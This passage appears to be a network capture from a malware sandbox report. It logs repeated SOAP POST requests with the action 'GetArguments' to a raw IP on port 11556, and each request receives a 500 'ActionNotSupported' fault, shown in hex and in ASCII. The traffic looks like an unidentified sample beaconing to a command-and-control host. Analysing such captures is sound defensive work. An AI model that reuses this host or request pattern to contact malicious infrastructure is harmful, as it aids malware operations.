62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:32.809696913 CEST	10647	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:32.879889011 CEST	10647	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:32.952064037 CEST	10648	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:32 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:33.966211081 CEST	10649	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:34.043320894 CEST	10649	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:34.113029003 CEST	10650	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:33 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:35.123120070 CEST	10650	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:35.192059994 CEST	10650	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:35.268318892 CEST	10651	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:34 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:36.278768063 CEST	10660	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:36.350203991 CEST	10660	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:36.421967983 CEST	10661	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:36 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:37.435059071 CEST	10672	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:37.511215925 CEST	10672	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:37.586996078 CEST	10673	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:37 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:38.591972113 CEST	10673	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:38.661401987 CEST	10673	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:38.733601093 CEST	10674	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:38 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:39.747920990 CEST	10675	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:39.819608927 CEST	10675	IN	HTTP/1.1 100 Continue
